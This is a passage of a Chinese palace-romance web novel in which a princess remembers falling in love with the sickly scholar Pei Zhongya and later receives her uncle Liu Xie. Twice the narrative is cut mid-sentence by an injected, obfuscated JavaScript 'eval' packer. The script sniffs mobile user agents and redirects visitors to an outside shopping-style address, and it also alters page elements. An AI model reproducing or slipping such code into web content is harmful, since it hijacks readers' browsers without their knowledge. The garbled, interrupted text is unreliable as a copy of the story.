心脏钝痛、呼吸沉重,我垂下眼眸,自嘲一笑:“是你要听你父亲的,不是你父亲听你的。就连我都要听你父亲……你说这话,未免太过狂妄自大了。再说,你若真有这胆量和本事,当初我们也不会……” 鼻头一酸,眼泪竟是漫上眼眶。裴仲琊神色一怔,连忙抬手要来擦。 “啪”地一声,我将他的手掌拍开:“擦什么擦,又没有眼泪。我的眼泪早就哭干了。” 裴仲琊的手停在半空,半晌才缓缓收回。二人相顾无言,月斜影移,在他脸上照出深陷的阴影,眼神静默晦暗,似有百转千回。 他穿好衣服,手在袖子里摸索了半日,握着拳头拿出一件东西——七色玛瑙琉璃珠坠着殷红的合欢结穗子。我一眼便认出了这是什么,扭过头去不看他。 “我要走了,这件东西……你能收下吗?” 他为什么要这么可怜,我真是受不了他这样! “我……”不要不要不要! “归期不定,我也不知道自己最后能不能平安回来。不过一块石头,能有什么意思?你就收下,权当……给我留个念想。” 我被气笑,一把夺过穿天石穗子——是被我扔掉的那一块,碎成了四瓣,都被他用金线嵌了起来。石头有他掌心的温度,在我手中却意外的灼人。 “这样总行了吧?”我怨声载道,“我只是暂时替你保管,这东西我不要。等你回来了,我再还给你。” 裴仲琊没有说话,撑着凭几颤颤巍巍起身。我连忙起来要扶他,被他按住:“该走了。明日还要上朝,你早些歇息。”说罢,他就要走。 “裴仲琊!”我叫住他,“……你,你还有什么别的话要讲吗?” 他站立着,没有回头。我只听见他轻笑一声:“愿殿下得偿所愿,名垂青史;愿大齐国祚绵长,万世永传。” 蝉鸣声越来越孱弱,秋天终于在这一晚将它杀死。夜风漏进窗缝在大殿里来来回回地吹。月光好心给我披上一层清冷的纱,眼前仿佛蒙了迷雾,面颊冰凉。我伸手一摸,才发现那根本不是什么迷雾,而是我难以遏制的眼泪。 19. 第 19 章 就如同裴仲琊曾经说的那样,我们从没有分开那么久过。 长安、巨鹿、淄川、广陵,其间两山三水七城,他需要花上五天、十天、十五天甚至更久才能到达,而我也需要一月、两月甚至更久才能重新见到他。 我能重新见到他吗?我不敢想。 淄川王与广陵王即便不具备那样强烈的野心,但他们到底是与其余三王结盟,谋反之心一旦存在那就是帝国最大的威胁。这样的诸侯王,依旧是危险的、不可预测的。裴仲琊那样的身子,纵使他再神机妙算,能熬得过那么多个寝食难安的日夜吗?他真的能重新回来吗? 我应该期望他永远不能再回来,我应该有这样的狠心。狠下心,诅咒他,抛弃他,憎恨他,永远都不想再见到他。扔掉那可笑的穿天石,忘记那段可笑的过去。 宋君若没有起晚迟到,我没有耐不住性子先行离开,裴仲琊也没有因为和裴开项怄气而去琼林苑读书。永不相识、永不相知。 可这又如何可能呢? 未央宫再大,我还是会和他遇见,朝堂再远,我们依旧会走到今天。 绥和元年,孟春未歇,纱帐垂琼林,繁花落满襟。他还是会在那片紫藤花架下吟诵《有女同车》,我还是会误入其中,问他“彼美孟姜,洵美且都”到底是什么意思呢? - 我从未见过如他一般的男子。 父亲是威严疏远的,姜融姜琰是厌恶可憎的,阿若阿旻是脆弱幼小的。 而他,像青松高木,霜雪星月,如雾如花隔云端。 刚成为雍丘公主的那年春天,是我此生最盛大的节日。 我住进了辉煌广大的广明殿,拥有公子王孙中最最富庶的三处封地,也有了更大的跑马场和更繁多健壮的马儿。 上林苑山水千百处,奇珍异兽数不胜数。我与阿若约定前去猎兔,左等右等不见他来,便留下萱萱独自前往。未央宫太大了,我七弯八绕迷了路,转眼便瞧见高墙上垂下一株白蔷藤,热烈地绽放着。 好像……所有事情的开始都是美好的。 紫藤白蔷满园,亭台水榭错落,池中游鱼空走,水光潋滟。繁花下架着一座用丝绸与竹竿搭起来的凉棚,四周围着丝绢屏风,上题篆书离骚,棚下纤瘦身影影影绰绰,手边唯一案一盏一竹简而已。 我走近几步,温柔的光芒透过花叶、花瓣、木架,层层洒在他墨黑的长发上,玉冠半绾,长睫低垂,认真地凝视着手中的竹简。紫藤花瓣随风洒落,纷纷扬扬落到竹简上,他伸手拂去,广袖裙裾堆叠,犹如池中涟漪。 “有匪君子,如切如磋,如琢如磨。”仿佛神灵点化,我记起久远的诗句。 他没有注意到我,仍旧沉浸在浩瀚书卷之中:“有女同车,颜如舜华。” 我绕着回廊踱步:“瑟兮僩兮,赫兮咺兮。” “将翱将翔,佩玉琼琚。” “有匪君子,终不可谖兮。” “彼美孟姜,洵美且都……” “什么叫洵美且都?”我朗声问道,“我不懂。” 彼时尚是十二岁的裴仲琊吓得一惊,慌忙抬头找声源。 “我在这儿呢。”我笑他,“喂,我问你呢,什么叫洵美且都?” 他放下竹简,起身作揖,根本不看我:“回这位娘子,是举止娴雅大方的意思。” 我心中觉得好笑,有意逗他。 “那彼美孟姜呢?” 那人微微一愣,仍旧没有抬头:“意为:她真是个……美丽的姜姑娘啊。” 我憋着笑,反问:“那你不看我,又如何知道我是个美丽的姜姑娘呢?” 这或许是我人生中唯一一次见到裴仲琊这般惊讶的眼神。 “臣不知是雍丘公主殿下,还请公主恕罪!”他把头低得更低了。 我绕过屏风走到他面前,仗着身高优势半蹲在他面前,钻进他脸下看着他:“你要是起来看我,我就恕你无罪。” 裴仲琊蹙了蹙眉,缓缓抬起头,但眼睛依旧固执地垂着。 “我好看吗?是你口中美丽的姜姑娘吗?” “公主为陛下嫡长公主,天人之资,臣不敢妄言。” “那你的意思就是我本来是不好看的,但是碍着父亲的身份,你就一定得说我是好看的是吗?” “我……”裴仲琊急得终于抬眼看了我,又慌忙将眼睛盖了下去,“臣惶恐,臣并非此意。” 他的睫毛好长,在阳光下有一串阴影。 我伸出手轻轻触碰,他仰面躲过。 “你的睫毛好长,像蝴蝶翅膀一样……” “还请公主自重……” 我笑了,果然长安的人就如我们说的一样,拘谨守礼、端正自持。 “你在笑话我不懂礼数吗?”我昂着脖子,心里窃笑。 “臣不敢,只是臣怕宫中流言蜚语扰了殿下清净。” “什么清净不清净的,未央宫里可清净了,蚊子在我耳边叫我都听得一清二楚,晚上睡觉都能听见自己的心跳声,花落的声音也能听见,闷也闷死了……楚国就不这样,我能出宫跑马,去田野上摘野花野草,晚上能和宫女们一起赏花赏月,讲笑话一直讲到天亮,可比在这里好多了!” 我记得他那时的眼神,平静而淡漠,甚至带着一点点质问与不解:“既然不喜欢这里,那为什么要来呢?” 我不喜欢听这话,问他什么意思。 裴仲琊没有出声,收拾了竹简,望了一眼我手上的箭矢:“殿下既然喜欢射箭野游便自去快活,何苦来扰了他人清净,还非要说读书不好?” “啊?”我愣住,“我几时说过读书不好?” “未央宫就算再沉闷再规矩多,那也是帝王垂拱之地,文载古今中外浩瀚书海,武承威震四海万国来朝,这儿是整个大齐子民都要敬仰的地方。既然你们已经来到了这里,就好好珍惜这个位子,做这个位子该做的事该说的话。” 我说错了,万事的开头并不都是美好的。我被这个陌生的风流美丽男子指桑骂槐地训斥一顿,甚至连前因后果都没有弄清楚。 这让我更加讨厌这里。 直到,我们入主未央宫的第二个月,父亲遇刺,我才明白过来裴仲琊所指为何—— 伯父无子驾崩,裴开项选定父亲为下一任皇帝,接其进京,拥立为帝。而长安城中,流言蜚语此起彼伏,有人觉得伯父是被父亲勾结宫女毒死的,有人觉得父亲勾结裴开项一同弑君害了伯父谋权篡位,还有人觉得伯父是父亲亲手杀死的。因为父亲是伯父唯一的胞弟,也是伯父在病重之时唯一见过的诸侯王。 太多太多的矛头指向我父亲,其中当然也包括早慧的裴仲琊。他自然不会怪罪他父亲裴开项,那时的他只觉得父亲是天底下最厉害的英雄,文武双全、雄才伟略、威严肃穆,不敢违抗他分毫。 是以,在裴开项站出来为父亲陈情辩白后,他也自然而然地来找我道歉了。 “对不起殿下,当日是臣错了。”他站得笔直,面露愧色,拱手作揖,“臣不该人云亦云、随声是非,还请殿下责罚。” 这样的一个人,连道歉都是直挺挺的。 “你真是好大的胆子,你当日明面儿上是在说我,实则是在说我父亲。妄议超纲君王,你该当何罪?!”这话说出来可太舒服了,我心中窃喜,面上却绷着。 见他没有说话,我穷追猛打:“我要罚你去暴室,给我洗一辈子的衣服,干一辈子的活!让你的手再也拿不起笔和竹简,永远都不能看书!” 裴仲琊的腮帮子紧了紧,他的拳头握了又松,终是长长地叹出一口气:“臣有错在先,甘愿领罚。”说罢,他转身朝殿门外走去。 “欸!”我连忙起身拉住他,“我就是跟你闹着玩儿的!” 他转身望着我,又深深地弯下腰去作揖,神色认真又郑重:“臣有罪,真心向殿下致歉。” “你这个人……变脸变得还真快,都不知道是说你爱憎分明还是能屈能伸。” 他交手正立,目光毫不避讳我:“大齐乃礼仪之邦,君子之国,是天下所有国朝的表率。凡成事,必须名正言顺,若名不正则言不顺,言不顺则事不成,事不成则礼乐不兴、百姓难安。臣……无法容忍大齐变成一个兄弟阋墙、君臣相残之国。此前误会,是臣的错,臣罪该万死!但日后我若为朝臣,也必定坚守自己的信念与使命,为大齐、为百姓、为万世开太平。” 他好耀眼。话语中几多冒犯,可我却没有丝毫的恼怒:“行吧……我原谅你了。” 在这偌大的未央宫,我又多了一个朋友。 童年的友谊是真诚而炽热的,少年的爱意却是懵懂而笨拙的。 宫中岁月长,我看见他的篆书字划圆转、庄严美丽,文章字字珠玉、文采斐然,举止雍容尔雅、端正守矩,无限地满足了一个少女正在蓬勃生长的纯真春心。他虽不会骑马,但愿意陪伴我一同去草场看书;我的窗课他也会在细心地修改批注,在最后末尾落下一个方正的“好”字。 所有人都夸他—— “裴家真是人才辈出,想当年裴将军一介农夫草莽,出入沙场三百回拜得王侯将相归,裴家大公子裴孟珩年少早慧、知书晓意,如今裴家小公子也非凡人,当真是聪慧。” “你兄长聪慧,你必定也不差,勤奋苦读,定能出人头地。” “孟珩去世的早,你要好好读书、专心读书,宽慰你父亲的心,告慰你兄长与母亲的在天之灵。” 裴仲琊对这些或许是夸奖的言语并无多大反应,我心中高兴别人对他的夸赞,这在一定程度也褒奖了我的眼光与喜好。 但他却好像不是这样想的,在宫中共读的时间越长,这样的话语越多,他好像就越消沉,渐渐的连我也不再理睬。 “我觉得他不在乎我了!”我这样告诉韦莯——这个从楚国一路跟着我到长安的伴读姐姐,陪伴我从女孩成长为少女,我的心事在宫中无处诉说,只有她是我深夜的月亮与花朵。 “为什么呢?” “他上课的时候不看我。” “因为他是我们的小先生,需要看每一个人。” “但是他下课也不看我。” “那是因为他要看书看我们的窗课,小先生就是要对我们每一位学子负责的呀。” “那下学后,我喊他去骑马,他也不去了。以前他都会去的,还会陪我一起挑马鞍!” “他……是不是又生病了?” 我摇摇头:“没有,前几日他就已经把最后一包药喝完了,我还把我的琉璃糖分给他了呢。” 韦莯也无法。我藏不住心事,跑到他在宫中的别殿,犹豫踟蹰,迟迟不敢进去,索性爬上了宫墙外的流苏花树,小心翼翼地挂在枝头往里瞧。 书童侍女们洒扫晒书,各有各的事情在做。我看了半晌也不见裴仲琊从殿中出来,百无聊赖就想下去。 “你在那里做什么?” 我心中一惊,脚下一滑,枝丫被我踹断,身子失重往下坠。我立即抓住眼前的枝干,双手双脚缠住。 “啊呀公主!”裴仲琊的声音引来更多的人,侍从们瞧见挂在树上悬悬欲坠的我无不奔走惊呼,“快!快去拿云梯!还有垫子和被褥!公主要摔下来了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928459|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 咔嚓。枝干半断,我心脏忽然揪紧,扭头看见裴仲琊上前几步站在树下张开了双臂:“跳,我接着你。” “有点儿高……”我不是没爬过树,这棵流苏树爬上来的时候没觉得有多害怕,可如今望下去竟是令人生畏。 侍从们从裴仲琊的殿中拿来垫子与被褥铺在地上,他仰头镇静地看着我:“没关系,不要害怕,我一定能接住你的。” “你……你还生着病呢,你怎么接住我?” “我一定接住你,相信我。” 他的声音冷静沉稳,我害怕不安的心静下来。枝干摇摇欲坠,我眼一闭、心一横,纵身一跃。一双臂膀将我牢牢接住,我跳进一个紧实安稳的怀抱里。裴仲琊将我轻轻放下。 “云梯来了,云梯来了!”两个宦官跑得满头大汗,见我已然平安落地,长吁一口气。 薛获和彤管使闻声赶来,我遥遥望见,心中警铃大作,拉起裴仲琊冲开侍从的人墙就跑。 “殿下!”薛获在后头大声喊我,我头也不回地跑出花苑。风从我耳边呼啸而过,温热的花香扑面而来。我拐过一个又一个回廊虹桥,终于在一处小池的假石后头藏起来。 没有人追上来,我只听见裴仲琊在我身后上气不接下气地喘息。 我扭头看他,只见他苍白的面容上泛着潮热的红色,汗珠从鬓角滑落,长长的睫毛好似落雨沾水,一双眼瞳明亮湿润。他胸膛不均匀地起伏着,见缝插针地吞咽了一下唾沫,问道:“你跑什么?” “被大长秋抓住一定又是一顿教训,听得我好烦。” “那你就不要做这样危险的事情。” “我还不是因为……”他看着我,我将半句话咽回肚子里。 “因为什么?” “因为……因为……因为你最近心不在焉的!”我随口说了个理由,“不好好上课,也不陪我去骑马。明明在宫里没回家,也不出门和我们一起玩儿。” 他面上有一瞬的错愕,旋即低下头来,闭嘴不言。 我不喜欢他的沉默,仿佛天塌下来都不会吭一声。我伸出巴掌狠狠地打了一下他的肩膀:“有事说事!我真不喜欢你这样,有什么事不能说出来呢!难道憋在心里就好受?” 他抬眼望向我,犹豫良久,终于开口:“我……”他叹气,反过来问我,“殿下可有与父母怄气的时候?也并非怄气,就是……想让他们多看着你,让他们能看见你的进步,你的努力,而不是看着别人。” 我疑惑:“你父亲不就你一个儿子,他还能看着谁?” 裴仲琊张了张嘴,抓着假山的手紧了又松:“我哥哥,你不是知道的吗?你们不都是……因为我兄长才对我另眼相待的吗?裴家之子天降神童,我兄长是,那我也一定是,一定要是。” 我实在没弄懂这之间的联系:“你好跟你哥哥有什么关系?” 裴仲琊微愣,眼睛一瞬不瞬地看着我:“你……觉得没关系?” “没关系啊。”我回答,“我都不认识你哥哥。他长什么样,和你很像吗?” “我……我也没见过。但是他们都说他很聪明,四岁便能通读论语大学,是长安城中无人不知无人不晓的神童天才,是第一个被准许入宫读书的大臣之子。我……我是沾了他的光才能进宫,否则……我根本就进不了宫,也遇不到你……你们。” “你这叫什么话!”我恼了,“你若是个呆子,就算你哥哥亮得像个太阳你也沾不到他的光啊。你能入宫就因为你是你,你是个顶顶聪明的人!” “……你当真这么想?” “自然!”我笑看着他,“你是我见过最聪明的人!” 他没有说话,只是定定地看着我,眼中眸光明亮,仿若碎星。 自那后裴仲琊才告诉我,他的兄长裴孟珩五岁时随母亲陈辰回老家探亲,路上染了疫病不幸夭折。多年后母亲也不幸故去 他告诉我时声音轻浅惆怅,语焉不详。可我也能根据宫中传言猜出个大概来——长子夭折,母亲自责伤怀,后又有身孕便终日提心吊胆,忧思成结,癔症并发,生产之后,欲趁他人不备掐死幼子于襁褓之中。 老宫女曾说,先裴夫人以长子夭亡顿悟人生皆苦,天地不仁以万物为刍狗,她身为母亲唯一能做的就是将新生的孩儿结束在诞生之时。 陈辰被迫与裴仲琊分开,裴开项将她安置在了裴府幽静的后院,告假数日陪伴妻子,希冀能治好她的癔症。但陈辰终究是没能熬过裴仲琊四岁的生辰。 元寿六年,长安大雪,裴仲琊拿着临摹兄长的字帖跑去裴府后院。他写的字终于快和哥哥差不多了,他想让母亲看一眼。 他穿过回廊,跨过门槛,大雪淋满头,喘着粗气走进母亲的院子。门窗紧闭,里头传出幽幽咽咽的哭声—— “去,快去叫主君来!快去!” “呜呜呜,夫人……夫人……小公子还这么小……” “夫人,您终于可以和大公子团聚了……” 裴仲琊站在雪地里,呆呆地看着房门打开,嬷嬷一脸惊讶地跑过来将他抱起:“小公子您怎么在这儿,这大雪天的……走,嬷嬷带你去前院……” “阿娘……阿娘……”裴仲琊看见屋里陈辰垂落的手,心中迷茫又害怕,他挣扎着要跳下怀抱,“阿娘……” “夫人去找大公子了,她去和大公子团聚了……” 母亲去找哥哥了,母亲还是去找哥哥了。 手中的临帖轰然掉落雪中,墨迹被雪水洇开糊成一团。他望着黑黢黢的房中慌乱匆忙的人群,想道:果然,母亲还是喜欢哥哥更多一点。 20. 第 20 章 刚过完元宵,裴仲琊又告假回家替母亲守孝祭祀,回来时人瘦了一圈,没精打采的。 是日下学后各自回宫。我与韦莯告别,乘上轿辇行驶在幽长寂冷的宫巷中,大雪纷纷扬扬,车轮“吱呀吱呀”地转着,忽然想起独坐殿中的裴仲琊似乎没有离开。 我招呼轿辇回学宫。白雪灰墙,高堂阔宇,梅枝寥落曲折,裴仲琊独坐殿中,望着窗外飞雪,冷冷清清。侍从从他身边经过,询问是否需要热茶。他摆摆手,径自拿起一卷简牍,神情倦怠。 我按下萱萱跟随的脚步,走进大殿问道:“你还不回家吗?” 裴仲琊抬头瞧见我,连忙起身行礼。我抬手制止,见他几层大衣都撑不起的瘦削身形,解下自己的狐裘,陪他一同坐下,将衣服盖在他的腿上。 “你已经两三天没有回家了。”我说道,“从前你只偶尔住在宫里,但这回怎么像是在躲什么似的。” 他沉默地望着我良久,欲言又止。 我瞪了他一眼:“又不说话。” 半晌,他看着我缓缓开口:“我父亲……纳妾了。” 裴开项虽位高权重,但从来就只有原配妻子一人,即使妻子故去多年也都是自己一人带着孩子。如今突然带回来一个女子,别说裴仲琊了,连我都有些惊讶。 “谁家女子,怎么都没有听说?” “不是什么高门显贵之后,只是个农户哑女,姓卞,二十一岁守寡在家,父亲巡视农务时将人带了回来。” 这实在是太出奇了,一时之间我竟不知该如何作评。 “父亲没有让太多人知道,说是怕打扰卞姬清净。连我也只见了她一面而已。” 如此看来,裴开项倒是很在意这个卞姬。这让我十分惊讶。 “听你这么一说……这个卞姬出身并不高贵,母家也没什么仰仗,你不必太过担忧。” 裴仲琊摇了摇头:“我并不在乎是否会有人来夺走我的地位,这样的人我们裴家太多了。我只在乎……”他低下头,没有再说话。 北风吹动着低垂的鬓发,他的长睫轻颤,肌肤剔透脆弱得像白瓷。 “你是害怕……家里没人能说话了,是吗?” 裴开项严苛,又素来更再议朝政国事,自陈辰故去后,裴仲琊也一直被教养在宫中,除了一日三餐与学问考教,裴开项鲜少过问裴仲琊之事。生病了叫太医,饿了叫厨娘,闷了送出城,凡事都有人替他这个父亲照顾孩子。裴仲琊懂事又聪慧,让裴开项操心之事又少之又少,父子二人明明都在长安却聚少离多,偶尔在宫中碰面,如陌生人一般——子行礼问安,父点头寒暄后便离开。我有时竟觉得我们这些宫中玩伴与裴仲琊的关系都比他们父子俩要亲近多了。 若是裴开项子嗣众多还能说是厚此薄彼,可这么多年,裴开项就只有裴仲琊一个孩子,寄予厚望,时时训导。裴仲琊要是个纨绔子弟,那他自己的日子倒也好过,可他偏偏就是个将仁义孝悌奉为圭臬的书呆子,不愿辜负父亲的期望,也不愿妄自菲薄、自甘堕落,十年如一日地勤学苦读,只愿能让父亲看见真正的自己,而非永远地活在他人阴影之下。 他渐渐长大,人们将裴孟珩渐渐遗忘,他好似快成功了。 可卞姬的到来给了他临头一棒——他不是他父亲唯一的亲人了。 裴仲琊微微抬起眼眸:“母亲故去已整整十年了,他能记住母亲与兄长的年纪,却唯独记不住我的。我曾以为只要我永占鳌头,父亲便会对我另眼相待。我不是杀害母亲的凶手,不是兄长的替代品,他能看见我……我们至少还能算是家人。可如今……什么都白费了……” “什么叫什么都白费了!”我最不喜欢听见他这样说话,“你为何要将自己所有的一切都寄托在你父亲身上?难不成你父亲不待见,你这么多年读得圣贤书都不是你读的了?你写的那么好的文章不是你写的了?古来圣贤,皆为天下立身立命,你倒好,空有一副玲珑心肠,却日日只想着讨好他人,岂不浪费? “你以为我父王就喜欢看见我这样吗?他只喜欢乖巧听话温顺的女儿,可我太像我母亲了,一点儿都不听他的话。他更喜欢大姐姐,难道因为这样,我就要委屈自己改变自己吗?你先前还夸我这样好呢,说我聪明机警有决断,叫我不必理会他人。如今用在自己身上,倒是什么都想不明白了。” 我埋怨他。裴仲琊欲言又止地张了张嘴,复又失笑:“确是如此,是我错了。” 他嘴角是笑的,但眼里仍旧蒙着一层厚厚的雾。 新年还留着尾巴,宫中远处偶尔传来几声爆竹的声响。我看了眼裴仲琊,拍了拍他的肩膀:“你等着!我有东西给你,去去就回!你一定要等我!” 裴仲琊已经有十年未过生辰了。陈辰于正月十九去世,而裴仲琊于正月二十一出生。在大齐,母亲故去后,孩子每年都要为先妣斋戒守孝十日,其间所有娱乐荤腥半点沾不得——他本就不应该再去庆祝他的诞生。 我出门一下子跳进羊车,叫车夫快快回宫。车夫却谨小慎微,生怕车子在大雪天人仰马翻。我拨开他,自己握住缰绳,鞭子一甩,架着羊车朝广明殿飞奔而去。 当年云梦的巫师来楚国宫为母亲祈福,曾告诉过我一个汉江流域的传说——传说中正月二十一日这天,郑交甫于汉江遇神女,神女解佩赠之,郑交甫自此念念不忘,魂牵梦萦。自此后,汉江女子都会在这天涉江边上,只为拾得孔石穿上丝线,赠与自己的心上人,盼望着心上人能对自己一心一意。 前些时日,韦莯同其母回云梦外祖家,我叮嘱她一定要替我从江边捡几颗回来,她还笑我心中有了秘密却不肯告诉她。 我将穿天石揣在怀里,又去小厨房亲手做了碗寿面,片上几块酱鹿肉,叫萱萱装进暖盒里,带上烟花,又一路匆匆忙忙赶回学宫。 我只觉路上花了好长时间,生怕裴仲琊受不住冷先走了。可他仍旧等在原地,张望着窗口等我回来。 “我知道时间没赶上,但是还是想给你过一个生辰。”我将他推进屋内,打开暖盒拿出寿面,“我跟着厨娘学了好久呢,鹿肉补虚赢,益气力,你吃最好不过了,你快尝尝!” 裴仲琊想来根本没料到我匆忙来去一趟,只为了给他做一碗面,哑然地看着我,半晌不动筷子。 “你愣着干嘛呀,天这么冷,一会儿面都不能吃了。”我将筷子塞进他的手里。 裴仲琊却放下筷子,将我的狐裘重新披回我身上系好:“你的手有点冷。” 我不好意思地低下头,故作自然地理了理狐裘上的绒毛:“我……我不冷。你快吃呀,我觉得这是我做得最好吃的一次!” 裴仲琊淡淡一笑,夹起面条,沉默地吃了起来。 我笑着凑到他边上,拱手起势:“琅琊裴仲琊,名门之后、望族之子,聪敏好学、才智过人,今至十四,乃国之栋梁、社稷之器。愿裴君子此后一帆风顺、万事如意,与天地兮同寿,与日月兮同光。” 他一脸笑意,眉眼弯弯:“最近书读得还挺多。” “那可不,屈夫子的辞我都背下来了。”我还挺骄傲。 裴仲琊没有说话,寿面已经见底,徒留几粒葱花沉在碗底。他眼睛深如潭水,望着我时水光波动,好似能够触及眼底神不可见的情绪:“谢谢。” 我笑笑:“这是多大的事,值得你这般道谢。” “值得。”他郑重,“很值得。” 我还想说什么,“呯”的一声,殿外炸开绚烂的烟花,挂在黛蓝色灰蒙蒙的天上,好似水墨中泼了一捧色彩缓缓流逝。 “呯呯呯——”天空中又炸开数多,侍从们在殿外兴奋地尖叫,我将窗户推开,也顾不得北风呼呼吹,指着天空就朝裴仲琊喊道,“给你放的!好看吗!” 裴仲琊没有回应,我扭头看向他,之间他失神地望着天际,烟花的火光在他眼瞳中一闪一灭。 我悄悄凑过去:“裴仲琊,岁岁平安。” 呼吸拂面而来,他受宠若惊地回头看我,鼻息相贴,我连忙后退,顺手将穿天石递给了他:“给你的生辰礼物。寻常贵重的东西你必定不缺,但是这东西你肯定没有……” 他看了看手中的石头:“穿天石?” “……这是汉江——嗯?你知道?” 韦莯挑的穿天石温润细腻,白净无暇,我用红线编了同心扣穿在石头上,本只想当寻常玩意儿一般送给他,可他若是知道传说典故,那就完全是不一样的事情了! “郑交甫与汉江神女的故事我自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976755|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道。” “啊哈哈哈……原来还有这故事呢,我只知道正月二十一是穿天节,就叫韦姐姐带了块石头回来。真是太巧了哈哈哈……” 裴仲琊没有理会我拙劣的圆场,他一瞬不瞬地盯着我,好似非要我讲出真话。 不讲不讲我就不讲! “穿天石是汉江百姓的定情信物,殿下。”冷不丁的,他道出了实情,“穿天石江边比比皆是,但这块石头却是难得佳品。韦娘子外祖是荆楚人,她……没有告诉你吗?” “没……没有。” 裴仲琊握着穿天石,突然不说话了。 我有些心虚,试探问道:“那……那你不要了吗?” 他盯着我好一会儿,才缓缓笑着将穿天石揣进袖子里:“我要。只要是殿下送的,不管出于什么缘由,我都要。” 耳朵微微发烫,我匆匆摸了一下又赶紧把手放下。 他眼中的沉郁渐渐淡去,身形放松下来,微微含胸,得像窗外曲折的枯梅。空中漂浮着烟花过后火药浓烈的硝味与暖意,大雪仍旧无休止地下着,可已经没有方才那般冷了。暮色四合,万籁俱寂,唯有远处传来整齐的巡逻士兵的步伐和几声寥落稀疏的鸟叫。 学宫的灯被点亮,银骨炭添了又添,花椒的香气从墙壁中幽幽散发着,闻得人心热热痒痒的。 “雪停了。”我望着天,“月亮都出来了。我们回去吧?你今晚还回家吗?” 裴仲琊垂眸,我看不清他的神色,只听见他说:“我不知道我该不该,或者说能不能回家……殿下,到底怎样才算是家人呢?父兮生我,母兮鞠我。拊我畜我,长我育我,顾我复我,出入腹我……父亲都做到了,可我仍旧觉得我们不像是一家人,有时我甚至觉得你与姜融姜琰都比我与父亲像一家人。” “我与姜融姜琰?见面就吵架打架的家人吗?”我难以置信裴仲琊竟会拿我们三个打比方。那他与裴开项的关系到底恶劣到什么境况了?我连忙否决他:“我和阿若韦姐姐都比他们俩亲。” “那我呢?”他忽然问我。 心脏怦怦跳动,耳朵一鼓一鼓,他的话如隔云端。 “什么?”我愣愣的。 “你与阿若韦莯是亲人,那……那我呢?”他好似是下了很大的决心,声音渐小,唯恐让我听见。 “你……”心中的蝴蝶猛烈撞击着茧蛹,满腔肺腑喷薄欲出,“你不仅仅是亲人。” 热烈跳动的火苗在他眼中明明灭灭,视线牢牢地锁着我,一再追问:“除了亲人,还是什么?” “我心悦你。” 裴仲琊神色一惊,呆滞地看着我——他根本没有料到我会如此直接。 “我说我心悦你,除了亲人,你还是我的心上人,是我喜欢的人。我喜欢看见你笑,喜欢你陪着我。我不想看见你郁郁神伤,我想让你每天都过得开心自在。我喜欢你,裴仲琊!”宣泄的情绪犹如奔涌的浪涛将裴仲琊砸晕。 震惊、惶恐、躲闪、犹疑,太多的色彩在他的眼瞳中交织重叠。他慌忙低下头不与我对视,嘴唇微微颤抖。 他在害怕。 不是他问我的吗!他现在害怕什么! “你看着我!”我推他,“你不就是想听我说这句话吗!我说了,那你呢?你回答我!” 裴仲琊深喘了一口气,重新抬头看向我。他的眼睛像八月暴雨下的深潭:“殿下……是认真的?” “自然是真的。” “并非童言稚语?” “自然不是。” “绝不……绝不悔改?” “绝不悔改。” 年幼的孩子许下重诺,全然不顾日后到底能不能实现。唯一想做的,就是想让他知道自己此刻的心境——我好喜欢他。 裴仲琊一把将我拥住,青松冷冽轻浅的香气萦绕在鼻尖,他的面颊是冰冷的,但怀抱却是温暖的:“等我们都长大了,我就让父亲去求陛下赐婚。”他的怀抱越来越紧,双臂犹如铁链好似要将我拴起来,“我一定要娶你,我们俩就一辈子在一起。你不能忘记你今日说过的话,我也永远不会忘记。” 当年明月似今夕,残缺、清冷、洁白又美好,清泠泠地照在未央宫上,像给整座宫殿披上了一层薄薄的霜。 21. 第 21 章 我已经有三四年没有见到舅舅了。母亲是家中小妹,舅舅极为疼爱她,自然也疼爱我们。他常说母亲十六岁被许配给父亲,他是家族中唯一一个不赞成的——母亲心性自由刚毅,受不了楚国后宫莺莺燕燕,更不会为博楚王欢心而委曲求全,改变自己。 简言之,就是不会有好日子。 但母亲还是嫁了,从刘家幼女变为楚王后、皇后,再到太后。舅舅看着在他跟前长大的妹妹成为了妻子母亲,成为了一个国朝力挽狂澜的当权者,而后死在产床上、死在权利深渊中。 边关的风霜让他的容颜变得更加沧桑,皱纹愈深,须髯愈白,只一双锐利清亮的眼眸不曾改变。刘些一身玄色长袍,正冠博带,于殿外脱去丝履疾步向我走来,站定作揖:“殿下,臣来迟。” “舅舅——”我连忙起身将他扶到上座。 “不可……” “舅舅,此地无外人,我们舅甥之间就不必如此见外了。” 见我执着,刘些便也从善如流,坐在了我的旁边。 “想必舅舅已在路上听闻长安和五王之事,舅舅若要斥责质问,泱泱绝不抗辩。” “我如何会斥责你?五王之事你做得对,阿旻年幼无知,热血有余而冷静不足,当时若放任他执意对抗裴开项,后果才是不堪设想。”刘些面色懊悔,“只恨我被公务绊住了身,半分不得离开。不然你母亲也不至于孤立无援,平白丢了性命;你也不至于斡旋于各方势力之间,殚精竭虑……都是我的错! “你母亲……你母亲她是那么怕疼、那么爱孩子的一个人,如何就到了让她伤害自己堕胎流产的地步!一定是那群人逼她太甚,才使得她不得不出此下策,这才丧了性命!”刘些愤恨地捶打着自己的大腿,“都怪我!都怪我!都是我这个做哥哥的没能保护好她!都是我的错!” 